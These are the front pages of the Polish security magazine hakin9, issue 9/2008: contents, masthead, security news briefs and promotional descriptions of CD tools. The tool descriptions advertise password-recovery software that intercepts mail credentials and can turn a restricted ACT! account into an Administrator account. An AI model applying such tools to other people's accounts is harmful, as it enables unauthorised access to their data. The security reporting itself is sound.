SPIS TREŚCI
4
HAKIN9 9/2008
SPIS TREŚCI
5
HAKIN9
9/2008
5
HAKIN9 5
HAKIN9 5
HAKIN9
NARZĘDZIA
Recenzja najnowszego oprogramowania GDATA.
Program do ochrony komputera przed wirusami.
POCZĄTKI
22 Administracja kontami w Linux
BARTOSZ KAMIŃSKI, SŁAWOMIR ORŁOWSKI
ATAK
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Małecka
Redaktor naczelny: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski
robert.gontarski@software.com.pl
Kierownik produkcji: Marta Kurpiewska
marta.kurpiewska@software.com.pl
DTP: Grzegorz Laskowski
Okładka: Agnieszka Marchocka, Łukasz Pabian
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska
pren@software.com.pl
Wyróżnieni betatesterzy:
Tomasz Przybylski, Tomasz Stanisławski
Opracowanie CD: Rafał Kwaśny
Druk: 101 Studio, Firma Tęgi
Nakład wersji polskiej 6 000 egz.
Wydawca:
Software–Wydawnictwo Sp. z o.o.
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Redakcja dokłada wszelkich starań, by publikowane w piśmie
i na towarzyszących mu nośnikach informacje i programy
były poprawne, jednakże nie bierze odpowiedzialności za
efekty wykorzystania ich; nie gwarantuje także poprawnego
działania programów shareware, freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością
odpowiednich firm i zostały użyte wyłącznie w celach
informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano
programem AntiVirenKit firmy G DATA Software Sp. z o.o.
Redakcja używa systemu
automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma
w cenie innej niż wydrukowana na okładce – bez zgody
wydawcy – jest działaniem na jego szkodę i skutkuje
odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach:
Hiszpanii, Argentynie, Portugalii, Francji, Belgii,
Luksemburgu, Kanadzie, Maroko, Niemczech,
Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową
w innych krajach europejskich.
Magazyn hakin9 wydawany jest
w 4 wersjach językowych:
PL
EN
FR
DE
UWAGA!
Techniki prezentowane w artykułach mogą być
używane jedynie we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za
niewłaściwe użycie prezentowanych technik
ani spowodowaną tym utratę danych.
SPIS TREŚCI
4
HAKIN9 9/2008
SPIS TREŚCI
5
HAKIN9
9/2008
5
HAKIN9 5
HAKIN9 5
HAKIN9
OBRONA
42 Ochrona kart inteligentnych
60 Automatyczne generowanie exploitów
BEZPIECZNA FIRMA
KLUB TECHNICZNY
STAŁE
RUBRYKI
Prezentujemy zawartość płyty hakin9
Zapowiedzi artykułów, które znajdą się w
następnym wydaniu magazynu hakin9
Sprostowanie
Redakcja hakin9 przeprasza za umieszczenie w numerze 6/2008 artykułu
pod tytułem Techniki spamowania, zawierającego obszerne nieautoryzowane
fragmenty tekstów autorstwa Tomasza Andrzeja Nideckiego i Michała Ławickiego.
6
W SKRÓCIE
HAKIN9 9/2008
7
JAKUB BUCZYŃSKI
HAKIN9
9/2008
KONIEC PROBLEMÓW Z IPHONEM
Początkowo iPhone był dostępny
wyłącznie w Stanach Zjednoczonych
i jedynie w sieci AT&T. Jednak po
miesiącach prób hakerom udało się
zdjąć blokadę z telefonu, dzięki czemu
mogli z niego korzystać użytkownicy na
całym świecie.
iPhony szybko zostały rozprowadzone
z USA na cały świat, a specjaliści obliczyli,
że około 1/3 do połowy zakupionych
urządzeń nigdy nie połączyło się z siecią
AT&T.
Nowy, ulepszony iPhone współpracuje z
sieciami 3G. iPhone będzie teraz oferowany
na nieco innych zasadach. Po pierwsze,
urządzenie będzie oficjalnie dostępne
w większej liczbie krajów – na początku,
oprócz Stanów Zjednoczonych, telefon
pojawi się w pięciu innych państwach. Pod
koniec tego roku multimedialne urządzenie
firmy Apple oferowane będzie już w 70
krajach.
Producent postanowił także, iż telefon
będzie można nabyć zarówno u operatora
telekomunikacyjnego, jak i u samego
źródła. Przykładowo 8-gigabajtowy model
nowej wersji tego urządzenia kosztuje w
USA 199 dolarów.
LUKA
W OPROGRAMOWANIU SCADA
Specjaliści ds. bezpieczeństwa
poinformowali o znalezieniu krytycznej
luki w szeroko stosowanym w przemyśle
oprogramowaniu CitectSCADA.
Jak twierdzą sami specjaliści,
błąd ten pozwala atakującemu na
przejęcie kontroli nad systemem.
Luka w CitectSCADA to typowy błąd
przepełnienia bufora – poinformował Ivan
Arce z Core Security Technologies, firmy,
która odkryła lukę.
Ten typ oprogramowania staje się
coraz bardziej otwarty i szerzej dostępny.
Sieci kontrolne coraz częściej połączone
są z sieciami korporacyjnymi, które z kolei
komunikują się z Internetem – ostrzega
Arce. W wypowiedzi Arce przypomina
też, że oprogramowanie SCADA, które
kontroluje procesy przemysłowe: pracę
rurociągów, fabryk chemicznych, linii
montażowych oraz sieci wysokiego
napięcia, może być celem ataków
cyberprzestępców.
ZŁODZIEJ ZDRADZONY
PRZEZ KARTĘ PAMIĘCI
Dzięki sieci bezprzewodowej i karcie
pamięci policja ujęła dwóch złodziei,
którzy kradli aparaty fotograficzne.
Pewna właścicielka cyfrówki z włożoną
kartą Eye-Fi SD pozostawiła ją
przypadkowo w restauracji. Dwóch
pracowników lokalu postanowiło ją sobie
zawłaszczyć.
Nieostrożni rabusie postanowili
zrobić sobie zdjęcia. Karta Eye-Fi
bezprzewodowo transmituje zdjęcia do
komputera, a niektóre modele potrafią
do tego wykorzystać Internet. Kiedy nowi
posiadacze sprzętu przechodzili koło
jednego z hot-spotów, karta wysłała
zdjęcia złodziei do komputera właścicielki.
Ta rozpoznała barmanów z restauracji i
powiadomiła kierownictwo lokalu. Dzięki
sprytnej karcie odzyskała aparat, a
barmani stracili pracę.
ATAK NA USŁUGODAWCĘ INTERNETU
Belgacom – największy belgijski
dostarczyciel usług internetowych
– przyznał, że na początku tego
roku doszło do włamania i kradzieży
danych osobowych ok. dwóch tysięcy
osób, klientów usługi ADSL. Jak się
okazało, była to... zemsta klientów
usługi. Firma odkryła na jednej ze
stron internetowych opublikowane
dane osobowe swoich subskrybentów,
a autorami tego wyczynu okazali się
hakerzy, niezadowoleni z ustalonych
limitów szerokopasmowego dostępu do
Sieci. W Belgii ok. 90% stacjonarnych
użytkowników Internetu korzysta z niego
bądź poprzez Belgacom, bądź Telnet.
Mimo, że połączenia są szybkie, to
obaj operatorzy nałożyli miesięczny
limit pobierania danych na poziomie
12 GB. Po przekroczeniu tej wielkości
transfer spada do 3 KB/s. Belgacom nie
informował o przełamaniu zabezpieczeń,
aby uniknąć paniki – tłumaczy rzecznik
firmy, Jan Margot. Po zauważeniu
włamania natychmiast wyłączyliśmy
naszą stronę – wyjaśnia dalej.
Wysyłaliśmy do zainteresowanych listy z
prośbą o zmianę haseł.
Mamy milion użytkowników ADSL,
więc włamanie nie stanowiło wielkiego
zagrożenia – dodaje.
PROBLEMY AMAZON.COM
W piątek, 6 czerwca miłośnicy
internetowych zakupów mieli kłopoty
z odwiedzeniem witryny Amazon.com
– problemy powtórzyły się w poniedziałek.
Jak podała firma Keynote Systems, w
godzinach pomiędzy 19:03 a 19:23
naszego czasu jedynie około 30 procent
odwiedzających serwis miało do niego
dostęp. Po okresie pewnej stabilizacji
w godzinach 19:56 – 20:09 doszło do
ponownego kryzysu – informuje Shaw
White z Keynote.
Szczęściarze, którym udało się wejść
na stronę, mówią o bardzo powolnym
ładowaniu jej zawartości, trwającym
nawet do 15 sekund. Serwis opublikował
6
W SKRÓCIE
HAKIN9 9/2008
7
JAKUB BUCZYŃSKI
HAKIN9
9/2008
oficjalny komunikat w tej sprawie: Grupa
klientów zgłosiła w poniedziałek okresowe
problemy związane ze stronami Amazon.
Pracujemy obecnie nad ich rozwiązaniem,
zapewniamy także, iż usługi sieciowe
Amazona nie doznały uszczerbku. Po
trzygodzinnym okresie piątkowej awarii
oraz poniedziałkowych problemach
większość osób nie mogła odczytać
zawartości strony, otrzymując komunikat
Http/1.1 Service Unavailable.
Jak podejrzewa White, problem leży
w złej konfiguracji któregoś z elementów
skomplikowanego systemu e-commerce
Amazona.
EUROPA W NIEBEZPIECZEŃSTWIE
Jak wynika z badań firmy Ipsos,
realizowanych dla AVG Technologies,
jeden na pięć europejskich komputerów
padł ofiarą cyberprzestępców. Wyniki
raportu stwierdzają, że zaatakowanych
zostało ok. 22 procent z siedmiu tysięcy
analizowanych komputerów. Najbardziej
zagrożeni byli mieszkańcy Włoch (32
procent), na drugim miejscu uplasowali
się Brytyjczycy (31 procent). Z badań
wynika także, że Europejczycy woleliby
paść ofiarą cyberprzestępców (34 procent)
niż włamania (22 procent), napaści (19
procent) i napadu rabunkowego (25
procent).
W przeciągu kilku lat natura zagrożeń
zmieniła się ze sportowej do w pełni
profesjonalnej aktywności przestępców
– uważa J. R. Smith, prezes AVG
Technologies. Brak granic w świecie
wirtualnym sprawia, iż naszym najwyższym
priorytetem jest stworzenie rozwiązań
zapewniających bezpieczne dokonywanie
transakcji online – dodaje.
KASPERSKY PROSI O POMOC
Naukowcy z firmy Kaspersky proszą
specjalistów zajmujących się problemami
bezpieczeństwa o pomoc w złamaniu
skomplikowanego klucza, wymaganego
do odszyfrowania zablokowanych przez
robaka danych.
Prośba o pomoc pojawiła się w
Sieci dwa dni po odkryciu szyfratora
plików zwanego Gpcode. Malware
potrafi szyfrować różnego rodzaju pliki,
fotografie czy zbiory wykorzystywane
przez takie aplikacje, jak: MS Word, Excel
bądź Adobe Reader. Chcąc odzyskać
zaszyfrowane dane, musimy zapłacić
cyberprzestępcom okup. Kiedy dwa lata
temu Gpcode pojawił się po raz pierwszy,
firma Kaspersky poradziła sobie z
robakiem. Wtedy podczas tworzenia 660-
bitowego klucza RSA przestępcy popełnili
kilka pomyłek, co ułatwiło rozszyfrowanie
algorytmu. Tym razem jednak
kryptologowie nie będą mieli tak łatwego
zadania – nowa wersja wykorzystuje
1024-bitowy klucz. Zatem próby złamania
go metodą brute force będą wymagać
udziału około 15 milionów nowoczesnych
komputerów.
Nie potrzebujemy oczywiście takiej
mocy komputerowej – informuje Kaspersky
w swoim apelu. W tej sprawie musimy
współpracować i wspólnie wykorzystać
naszą wiedzę i zasoby w rozwiązaniu
problemu – dodaje firma.
SPOSÓB NA ROBAKI
Naukowcy opracowali nową metodę
zwalczania robaków skanujących sieć w
poszukiwaniu komputerów podatnych na
atak – jedne z najpopularniejszych to Code
Red i SQL Slammer.
Ness Shroff oraz jego koledzy ze
Stanowego Uniwersytetu Ohio uważają,
iż opracowali sposób na blokowanie
rozprzestrzeniania się robaków. Jednym
z głównych tego typu zagrożeń był Code
Red. W 2001 roku, blokując ruch w Sieci,
spowodował szkody w wysokości 2,6
miliarda dolarów. Metoda przedstawiona
przez Amerykanów polega na stworzeniu
oprogramowania, które monitoruje
liczbę operacji skanowania Sieci
przeprowadzonych przez komputer. Gdy
maszyna zacznie zbyt aktywnie skanować
Sieć, jest to znak, iż prawdopodobnie
doszło do zakażenia robakiem. Trudność
sprawiało nam określenie, jaką liczbę
operacji skanowania można uznać za
podejrzaną. Należy dobrać ją w taki
sposób, aby w najgorszym przypadku
doszło do jak najmniejszej liczby infekcji.
Jeśli liczbę tę jeszcze zmniejszymy,
możemy zakłócić standardowy ruch
– wyjaśnia Shroff.
Naukowcy stworzyli w tym celu
matematyczny model wczesnego
stadium rozwoju sieci robaka, który
umożliwił obliczenie prawdopodobieństwa
pojawienia się mechanizmu jego
rozprzestrzeniania.
ŁATANIE VMWARE
Firma VMware opublikowała
aktualizacje swojego oprogramowania
wirtualizacyjnego z poprawkami
bezpieczeństwa. Występujące
luki pozwalały atakującemu na
uruchomienie złośliwego kodu na
zainfekowanej maszynie z systemem
Windows. Jeden z błędów dotyczy
funkcji VMCI, która jest odpowiedzialna
za komunikację pomiędzy maszyną
wirtualną a systemem operacyjnym.
Wyżej wymieniony błąd można
wykorzystać uruchamiając złośliwy
kod z uprawnieniami systemu. VMware
zaznacza, że luka tyczy się wyłącznie
systemu Windows.
Luka dotyczy oprogramowania VMware
Workstation w wersji od 6.0.4 build 93057,
VMware Player do wersji 2.0.4 build 93057
oraz VMware ACE do wersji 2.0.2 build
93057.
SERWERY W PŁOMIENIACH
Do zdarzenia doszło w sobotę, 14
czerwca, w centrum danych H1
należącym do firmy The Planet w
Houston.
Pożar spowodował wstrzymanie
pracy tysięcy stron internetowych – podał
magazyn The Register. Na forum firmy
hostingowej można przeczytać, że
winnym pożaru był wadliwie pracujący
transformator. Na szczęście nie doszło
do spalenia serwerów oraz sprzętu
sieciowego. Firma została jednak
zmuszona do wyłączenia wszystkich
generatorów zasilających komputery,
8
W SKRÓCIE
HAKIN9 9/2008
9
JAKUB BUCZYŃSKI
HAKIN9
9/2008
co spowodowało czasową przerwę w
działaniu usług hostingowych.
Na szczęście w poniedziałek The Planet
przywróciło do pracy 6000 serwerów.
WSPÓŁPRACA EUROPY
Komisja Europejska przyjęła projekt, dzięki
któremu policja będzie miała wgląd do
akt osobowych przestępców w różnych
krajach Europy.
System o nazwie European Criminal
Records Information ma zawierać
specyfikację techniczną, dzięki której policja
będzie w stanie w prosty sposób uzyskać
dane od podobnych sił prowadzących
działalność w innych krajach.
Dane o przestępcach
przechowywane będą wyłącznie w
narodowych systemach bazodanowych,
a nie w swego rodzaju europejskiej
wielkiej bazie danych. Tworzenie
oprogramowania do tego celu
rozpocznie się na początku przyszłego
roku. Opisywany system ten ułatwi
sprawdzenie przeszłości osób, które
podejrzewa się o dokonanie na terenie
Europy przestępstw.
Pozwoli również na sprawniejszą
walkę ze zorganizowanymi grupami
przestępczymi, które coraz częściej
prowadzą swoje interesy nie tylko w
obrębie jednego kraju.
CHIŃCZYCY
ATAKOWALI ELEKTROWNIE?
O ataki, które doprowadziły do awarii sieci
elektrycznych w Stanach Zjednoczonych
w ciągu kilku ostatnich lat, obwinia się
chińskich hakerów. Dwie awarie (na
Florydzie oraz na północnym wschodzie
kraju) to po części sprawka chińskich
specjalistów – uważają eksperci ds.
bezpieczeństwa.
Informacje te pochodzą z magazynu
National Journal Magazine, który cytuje
wypowiedź Tima Bennetta, byłego
dyrektora Cyber Security Industry Alliance.
Już w 2003 roku otrzymał on od
amerykańskiego wywiadu informacje
o planach chińskiej armii, która
przygotowywała atak na systemy
kontrolujące amerykańskie elektrownie
nuklearne.
Joel Brenner z kontrwywiadu przyznaje
z kolei, że opisany w National Journal
Magazine scenariusz jest możliwy, choć
mało prawdopodobny.
SKŁAD REPREZENTACJI
POLSKI NA IMAGINE CUP 2008
Microsoft ogłosił oficjalną listę
drużyn i uczestników, którzy w lipcu
br. będą reprezentować Polskę w
międzynarodowych finałach konkursu
technologicznego dla studentów – Imagine
Cup 2008.
W tegorocznej edycji Polacy
zakwalifikowali się do rozgrywki finałowej w
czterech kategoriach:
• w kategorii Projektowanie Systemów
Wbudowanych Polskę reprezentować
będzie drużyna Aero@PUT z
Politechniki Poznańskiej,
• w kategorii Algorytm z przeciwnikami
zmierzy się Radosław Czyż z
Politechniki Krakowskiej,
• w specjalnej podkategorii
Projektowanie Oprogramowania
– Nagroda za Interoperacyjność nasz
kraj będzie reprezentować zespół
Together z Politechniki Poznańskiej,
• w kategorii Projektowanie
Oprogramowania do rozgrywki
stanie zespół Demoscene Spirit z
Uniwersytetu Adama Mickiewicza
w Poznaniu, wyłoniony podczas
krajowego finału, zorganizowanego
przez Microsoft Polska wspólnie
z Instytutem Wzornictwa
Przemysłowego.
Drużyna Demoscene Spirit, w składzie:
Agata Czapracka, Szymon Majewski,
Łukasz Michniewicz i Wiktoria Szydło
z Uniwersytetu Adama Mickiewicza
w Poznaniu oraz Agata Majewska z
Akademii Sztuk Pięknych w Poznaniu,
zaprezentowała aplikację o nazwie
LifeTracker, która umożliwia śledzenie w
czasie rzeczywistym zwierząt należących
do gatunków zagrożonych wyginięciem.
Praca powstawała pod kierunkiem
mgr Tomasza Gdali. Było to najlepsze
rozwiązanie w kategorii Projektowanie
Oprogramowania.
W kategorii Projektowanie
Systemów Wbudowanych Polskę będzie
reprezentować w Paryżu drużyna
Aero@PUT z Politechniki Poznańskiej
w składzie: Piotr Kryger, Mikołaj
Małaczyński, Piotr Ślęzak oraz Jakub
Pawłowski.
Kierownikiem grupy jest mgr Wojciech
Świtała. Together, w składzie: Dariusz
Walczak, Marcin Wrzos, Piotr Sikora
oraz Tomasz Nowak, to zespół, który
zaprezentował najlepsze rozwiązanie w
specjalnej podkategorii Projektowanie
Oprogramowania – Nagroda za
Interoperacyjność.
Grupa z Politechniki Poznańskiej
pracowała pod kierunkiem dr inż. Jacka
Jelonka. W czwartej kategorii, Algorytm,
nasz kraj będzie reprezentować
Radosław Czyż z Politechniki
Krakowskiej.
Konkurs Imagine Cup jest
największym międzynarodowym
konkursem technologicznym dla
studentów.
W tym roku jest organizowany po raz
szósty. Uczestnicy rywalizują ze sobą w 9
kategoriach:
• projektowanie oprogramowania,
• projektowanie systemów wbudowanych,
• projektowanie gier,
• projekt Hoshimi – bitwa
programistyczna,
• technologie informatyczne,
• algorytmy,
• fotografia,
• film krótkometrażowy
• oraz Projekt interfejsu.
8
W SKRÓCIE
HAKIN9 9/2008
9
JAKUB BUCZYŃSKI
HAKIN9
9/2008
NIE KORZYSTAJCIE Z SAFARI!
Z takim apelem do użytkowników systemu
Windows zwrócił się Microsoft. Firma
wzywa do deinstalacji przeglądarki
internetowej Safari aż do momentu
pojawienia się poprawki łatającej luki.
Microsoft Security Response Center
(MSRC) opublikowało komunikat
bezpieczeństwa, ostrzegający przed
kombinacją błędów, jakie pojawiły się w
przeglądarce Safari oraz mechanizmie
obsługi plików wykonywalnych
znajdujących się na pulpicie systemu
Windows XP lub Vista.
Microsoft bada zgłoszenia dotyczące
wieloskładnikowego zagrożenia
pozwalającego na zdalne wykonanie
kodu w systemach operacyjnych Windows
XP i Windows Vista z zainstalowaną
przeglądarką internetową Apple Safari
– można przeczytać w komunikacie.
HACK COMCAST
Cyberprzestępcy włamali się na
stronę internetową amerykańskiej
firmy telekomunikacyjnej Comcast,
pozostawiając na niej własne informacje
oraz uniemożliwili niektórym klientom
uzyskanie dostępu do swoich kont
pocztowych oraz oficjalnych forów.
Z informacji, które hakerzy umieścili
na stronie, można wywnioskować, że
włamania dokonały trzy grupy: Kryogenics,
Defiant oraz EBK. Grupy te przejęły
kontrolę nad domeną Comcast.net
poprzez zarządzającą serwerami DNS
firmę Network Solutions, przekierowując
ruch internetowy na kontrolowane
przez nich maszyny. Były to komputery
znajdujące się m.in. w Niemczech.
Właściwy serwis został odcięty od
świata na kilka godzin – teraz pracuje już
normalnie, choć niektórzy użytkownicy
w dalszym ciągu zgłaszali problemy z
pocztą (nie doszło jeszcze do pełnej
propagacji adresu).
Rzecznik firmy Comcast ujawnił,
że firma współpracuje w tej sprawie z
przedstawicielami prawa.
5 LAT ZA NIELEGALNY SYSTEM?
Do tej pory Policja, zajmując
się zwalczaniem pirackiego
oprogramowania komputerowego,
skupiała się głównie na producentach i
handlarzach.
Zwykli użytkownicy mogli czuć się
bezpiecznie – do czasu, kiedy policja w
Braniewie złożyła wizytę w mieszkaniu
siedemnastolatka – Patryka L.
Według policjantów od pewnego
już czasu używał on nielegalnego
oprogramowania komputerowego.
Policjanci zabezpieczyli komputer oraz
płytę z nielegalnym Windowsem i jego
najnowszą wersją – Windows Vista.
Patrykowi L. grozi kara do 5 lat pozbawienia
wolności.
DZIURY W QUICKTIME
Ostatnimi czasy można było przeczytać o
kilku błędach związanych z odtwarzaczem
QuickTime. Niestety, w produkcie
Apple po raz kolejny wykryto szereg
nieprawidłowości, które pozwalają na
przejęcie kontroli nad zaatakowanym
komputerem.
Problemy te występują podczas
przetwarzania odpowiednio
spreparowanych plików z rozszerzeniem
.aac oraz .pict. Kolejny błąd jest związany
z plikami kodowanymi za pomocą kodeka
Indeo.
Wykorzystując lukę można doprowadzić
do błędu przepełnienia bufora i w
konsekwencji na wykonanie szkodliwego
kodu.
Wszystkie błędy uważane są za
krytyczne, należy zatem jak najszybciej
dokonać aktualizacji.
LUKA W SYSTEMIE SYMBIAN S60
Haker z Hiszpanii znalazł lukę w
systemie operacyjnym Symbian (w wersji
S60). Błąd znaleziony przez Hiszpana
pozwala na uzyskanie dostępu do
wszystkich plików znajdujących się w
telefonie.
Aby mieć dostęp do plików
przechowywanych w telefonie, wystarczy
zainstalować odpowiednią aplikację
w formacie SISX. Narzędzie zmienia
uprawnienia wszystkich aplikacji.
ROZSZERZENIE KAR ZA
PRZESTĘPSTWA KOMPUTEROWE
W Sejmie odbyło się pierwsze czytanie
projektu nowelizacji Kodeksu Karnego,
który implementuje w polskim systemie
prawnym unijne regulacje m.in. w
zakresie przestępczości komputerowej
i korupcji.
W projekcie nowelizacji Kodeksu
Karnego uwzględniono kary
m.in. za włamania także do sieci
bezprzewodowych. Zmiana ta związana
jest z rozwojem sieci informatycznych.
Sankcjom będą podlegać nie
tylko ci, którzy złamią zabezpieczenia
informatyczne, ale także ci, którzy jedynie
omijają różnego rodzaju zabezpieczenia.
Uznano bowiem, że dostęp do systemów
informatycznych można uzyskać nie
tylko łamiąc np. hasła, ale wykorzystując
luki w systemie operacyjnym,
które pozwalają obejść techniczne
zabezpieczenia.
Zmiana przepisów oznacza, że
karze będą podlegały osoby, które np.
posługują się tzw. końmi trojańskimi.
Nowelizacja przewiduje kary także
za jakiekolwiek nieuprawnione
uzyskanie dostępu do czyjegoś sytemu
informatycznego.
Skuteczność ścigania przestępstw
komputerowych jest bardzo istotna.
Jednak zastanawiam się, czy
doprecyzowanie przepisów w taki
kazuistyczny sposób jest zasadne.
Przede wszystkim poszkodowany może
nawet nie wiedzieć, że ktoś ominął jego
zabezpieczenia i ma dostęp do informacji
w jego komputerze. Natomiast ściganie
takich przestępstw ma odbywać się
właśnie na wniosek pokrzywdzonego –
mówi dr Monika Zbrojewska, specjalista z
zakresu prawa karnego na Uniwersytecie
Łódzkim.
10
NA CD
HAKIN9 9/2008
11
HAKIN9
9/2008
Na dołączonej do pisma płycie znajdują się programy przydatne dla każdego
użytkownika komputera – 3 pełne wersje bez ograniczeń czasowych, 1 trial i ponad
godzina filmów instruktażowych.
ZAWARTOŚĆ CD
PROGRAMY
• Advanced Instant Messengers
Password Recovery,
• Advanced Mailbox Password Recovery,
• Advanced ACT Password Recovery,
• eScan Antivirus.
FILMY INSTRUKTAŻOWE
• Ponad 60 minut filmów instruktażowych,
10 odcinków, które przedstawiają
najpopularniejsze ataki na strony www.
ADVANCED INSTANT MESSENGERS
PASSWORD RECOVERY
Odzyskiwanie haseł
w znanych komunikatorach
Advanced Instant Messengers Password
Recovery natychmiastowo odzyskuje
informacje dotyczące loginu i hasła,
chroniących konta użytkowników w
różnych komunikatorach. Obecnie
program obsługuje ponad 70 różnych
komunikatorów. Advanced Instant
Messengers Password Recovery jest
niewątpliwie najbardziej uniwersalnym
produktem w swojej klasie. Jeżeli system
posiada jedno lub więcej kont, Advanced
Instant Messengers Password Recovery
odzyskuje wszystkie hasła.
Natychmiastowy transfer kont IM
Niektóre z współczesnych komunikatorów,
jak na przykład ICQ w wersji 6 i kolejnych,
Yahoo!
IM od wersji 7.5 oraz wszystkie
wersje Skype’a, nie przechowują
nigdzie informacji dotyczących hasła.
Wykonują natomiast jednokierunkowe
szyfrowanie hasła, tworząc kod hash,
który jest wykorzystywany do autoryzacji
użytkowników na serwerach IM.
Zamiast długich ataków na hasła,
Advanced Instant Messengers Password
Recovery daje możliwość ich zapisania
i odzyskania, pozwalając skutecznie
przenosić konta IM i ustawienia z jednego
komputera na drugi bez znajomości
oryginalnego hasła.
ADVANCED MAILBOX PASSWORD
RECOVERY
Odzyskiwanie haseł
do kont pocztowych i profili
Advanced Mailbox Password Recovery
natychmiastowo odzyskuje lokalnie
przechowywane informacje dotyczące
loginów i haseł chroniących konta i
profile, obsługując wiele popularnych
klientów poczty. Przy pomocy
załączonego emulatora serwera POP3/
IMAP program Advanced Mailbox
Password Recovery odzyskuje hasła do
kont POP3 i IMAP wszystkich istniejących
klientów poczty.
Właściwości i korzyści:
• odzyskuje hasła różnych klientów
poczty,
• odzyskuje hasła do wszystkich kont,
• odzyskuje hasła protokołu wysłania
(SMTP) i otrzymywania (POP3/IMAP),
• odzyskuje hasła do profilu i hasła
administratora,
• odzyskuje hasła POP3/IMAP wszystkich
klientów poczty z emulatorem serwera
POP3/IMAP,
• odzyskuje hasła odinstalowanych
klientów poczty,
• odzyskuje zawierające błędy bazy
danych e-mail i instalacje,
• całkowita automatyzacja operacji
pozwala na wyświetlenie wszystkich
haseł naraz,
• zawierające błędy bazy danych
i klienci poczty są obsługiwane
ręcznie.
10
NA CD
HAKIN9 9/2008
11
HAKIN9
9/2008
Uniwersalna kompatybilność
Advanced Mailbox Password Recovery
może odzyskać informacje dotyczące
loginu i hasła do kont POP3 i IMAP od
jakiegokolwiek klienta poczty. Załączony
emulator serwera POP3/IMAP przejmuje
informacje dotyczące loginu i hasła
wysłane na serwer poczty.
Klienci mobilni
Zapomniane hasła POP3 lub IMAP klienta
mobilnego, takiego jak telefon komórkowy
lub mobilny komunikator Windows, mogą
być trudne do odzyskania bez programu
Advanced Mailbox Password Recovery, ale z
nim ich odzyskanie nie może być łatwiejsze.
Wystarczy zastąpić serwer POP3/
IMAP na urządzeniu mobilnym adresem
emulatora serwera POP3/IMAP, a
Advanced Mailbox Password Recovery
przechwyci i wyświetli hasło w chwili,
kiedy urządzenie mobilne będzie łączyć
się z serwerem, aby pobrać nowe
wiadomości.
Natychmiastowe odzyskiwanie
Przy pomocy Advanced Mailbox Password
Recovery można zobaczyć wszystkie
hasła do poczty elektronicznej naraz!
Advanced Mailbox Password Recovery
skanuje system i odzyskuje wszystkie
rodzaje haseł stosowanych dla klientów
poczty w zaledwie kilka sekund.
Hasła do zawierających błędy
skrzynek poczty elektronicznej
W trybie ręcznym Advanced Mailbox
Password Recovery odzyskuje hasła do
zawierających błędy baz danych e-mail
i może pracować nawet wtedy, gdy klient
poczty jest odinstalowany.
Produkt nie może być wykorzystany do
odczytywania haseł innych osób.
ADVANCED ACT PASSWORD
RECOVERY
Natychmiastowe odzyskiwanie
haseł do dokumentów ACT
Natychmiastowe odzyskiwanie zagubionych
lub zapomnianych haseł chroniących pliki
BLB, MUD i ADF/PAD utworzonych w ACT!.
Oprogramowanie do lokalnego i
zdalnego zarządzania informacjami
osobistymi wyprodukowane przez
Symantec, Best Software oraz Sage.
Advanced ACT Password Recovery
obsługuje wszystkie wersje ACT!, łącznie z
ostatnią – 2008.
Nie ma konieczności instalowania
Advanced ACT Password Recovery
na serwerze, aby odzyskać hasło.
Dysponujemy możliwością otwierania
chronionych hasłem baz danych z
jakiegokolwiek komputera w sieci, który
ma zdalny dostęp do bazy danych.
Jako dodatkowy bonus, Advanced
ACT Password Recovery umożliwia
zmianę funkcji ochrony użytkowników
baz danych ACT!, np. zamiana konta
użytkownika z Ograniczonego na konto
Administratora.
Bezpośrednia kontrola
zablokowanych dokumentów w różnych
formatach zestawu ACT! – nieważne, jak
długie i złożone jest hasło. Advanced
ACT Password Recovery odzyskuje
wszystkie hasła natychmiastowo bez
długich ataków i zaawansowanych
ustawień.
Wystarczy aktywować Advanced ACT
Password Recovery i kliknąć Open, aby
natychmiast zobaczyć lub ponownie
ustawić hasło.
Advanced ACT Password Recovery
odzyskuje hasła chroniące dokumenty
zapisane w każdej wersji Symantec, Best
Software oraz w wersjach Sage ACT!
łącznie z najnowszą wersją ACT! 2008.
Właściwości i korzyści:
• gwarancja odzyskiwania haseł do
dokumentów ACT! utworzonych w
wersjach powstałych do roku 2005,
• gwarancja ponownego ustawiania
haseł do dokumentów ACT!
utworzonych w wersjach powstałych w
roku 2005 i kolejnych,
• obsługuje wszystkie wersje ACT!
wyprodukowane przez Symantec, Best
Software oraz Sage, włączając ACT!
2008,
• odzyskuje hasła we wszystkich językach
i kodowaniach,
• odzyskuje hasła na komputerach
lokalnych i zdalnych,
• zmienia funkcje bezpieczeństwa
użytkowników baz danych ACT!,
np. zmienia konto użytkownika
z Ograniczonego na konto
Administratora.
Gwarancja dostępu
do chronionych dokumentów ACT!
Advanced ACT Password Recovery
gwarantuje odblokowywanie chronionych
hasłem dokumentów ACT!, niezależnie od
tego, jak rygorystyczna jest polityka firmy w
dziedzinie zabezpieczeń.
Długie, złożone lub międzynarodowe
hasła są również odzyskiwane przez
Advanced ACT Password Recovery bardzo
szybko.
ESCAN ANTIVIRUS
Program antywirusowy eScan jest
narzędziem zabezpieczającym przed
wirusami, trojanami, robakami i innym
zagrożeniami, które znajdują się w
Internecie. Jest oparty na technologii
MicroWorld Winsock Layer (MWL). MWL
tworzy warstwę ochronną wokół systemu i
zabezpiecza go od momentu włączenia aż
do zamknięcia. Główne funkcje narzędzia:
• inteligentne wykrywanie wirusów,
możliwość usuwania w locie,
• zapewnia kontrolę rodzicielską,
• chroni przed spamem, blokuje
potencjalnie zagrażające maile i
załączniki,
• posiada heurystyczny silnik skanujący;
• Prawa plików: zapobiega zdalnemu
tworzeniu i modyfikacji plików na
lokalnym komputerze,
• pakiet narzędziowy MWAV: (MicroWorld
AntiVirus).
NA CD
12
NARZĘDZIA
HAKIN9 9/2008
13
HAKIN9
9/2008
Instalacja jest wyjątkowo szybka
i bezproblemowa. Nie musimy
podczas niej konfigurować nowego
